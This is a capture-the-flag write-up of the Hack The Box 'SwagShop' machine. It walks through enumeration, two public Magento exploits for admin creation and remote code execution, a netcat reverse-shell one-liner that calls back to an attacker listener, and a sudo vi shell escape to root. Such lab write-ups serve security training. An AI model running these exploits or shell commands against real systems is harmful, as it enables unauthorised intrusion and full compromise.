Swagshop - Hack The Box

SwagShop is one of those easy boxes where you can pop a shell just by using public exploits. It’s running a vulnerable Magento CMS on which we can create an admin using an exploit then use another one to get RCE. To privesc I can run vi as root through sudo and I use a builtin functionality of vi that allows users to execute commands from vi so I can get root shell.


  • A Vulnerable Magento CMS 1.9.0 instance is running and we can use a CVE to create an admin account
  • We then use another exploit to get RCE and a shell on the box
  • vi is in the sudoers file for www-data and we can execute a shell as root from withing vi with :!/bin/sh

Tools/Blogs used

  • Magento CE < - (Authenticated) Remote Code Execution
  • Magento eCommerce - Remote Code Execution

Detailed steps


# nmap -sC -sV -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-11 20:52 EDT
Nmap scan report for swagshop.htb (
Host is up (0.011s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Website enumeration

The website is running the Magento CMS:

Gobuster finds the directories associated with Magento:

# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -u
/app (Status: 301)
/downloader (Status: 301)
/errors (Status: 301)
/favicon.ico (Status: 200)
/includes (Status: 301)
/js (Status: 301)
/lib (Status: 301)
/media (Status: 301)
/pkginfo (Status: 301)
/server-status (Status: 403)
/shell (Status: 301)
/skin (Status: 301)
/var (Status: 301)
2019/05/11 20:57:10 Finished

Indexing is on for those directories:

I have access to /app/etc/local.xml which contains the encrypted database password and the encryption key.

I could not find any public tool to decrypt the password and because this is a 20 pts box there’s probably some generic CVE exploit online that I can use.

Getting a shell

A quick look with searchsploit magento shows the two interesting exploits:

  • Magento CE < - (Authenticated) Remote Code Execution
  • Magento eCommerce - Remote Code Execution

The Magento eCommerce - Remote Code Execution exploit creates a new admin account with forme/forme as credentials. I just need to modify the target and the exploit and launch it to get an admin account:

# python 37997.py
Check with creds form

I can now log in to the admin panel:

I’ll use the other exploit Magento CE < - (Authenticated) Remote Code Execution to gain remote code execution. I need to change the username, password, and install_date parameters. The install_data is in the local.xml I found earlier.

username = 'forme'
password = 'forme'
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml

Launching exploit to spawn a reverse shell:

python 37811.py "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9999 >/tmp/f"

# nc -lvnp 9999
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
/bin/sh: 0: can't access tty; job control turned off
$ whoami
$ cd /home
$ ls
$ cat haris/user.txt


The privesc is obvious: The www-data user can execute vi as root. I know I can spawn a shell from within vi with :!/bin/sh and it’ll run as root because of sudo.

$ sudo -l
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@swagshop:/home$ sudo /usr/bin/vi /var/www/html/pwn -c ':!/bin/sh'

# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

   ___ ___
 /| |/|\| |\
/_| ´ |.` |_\           We are open! (Almost)
  |   |.  |
  |   |.  |         Join the beta HTB Swag Store!
  |___|.__|       https://hackthebox.store/password

                   PS: Use root flag as password!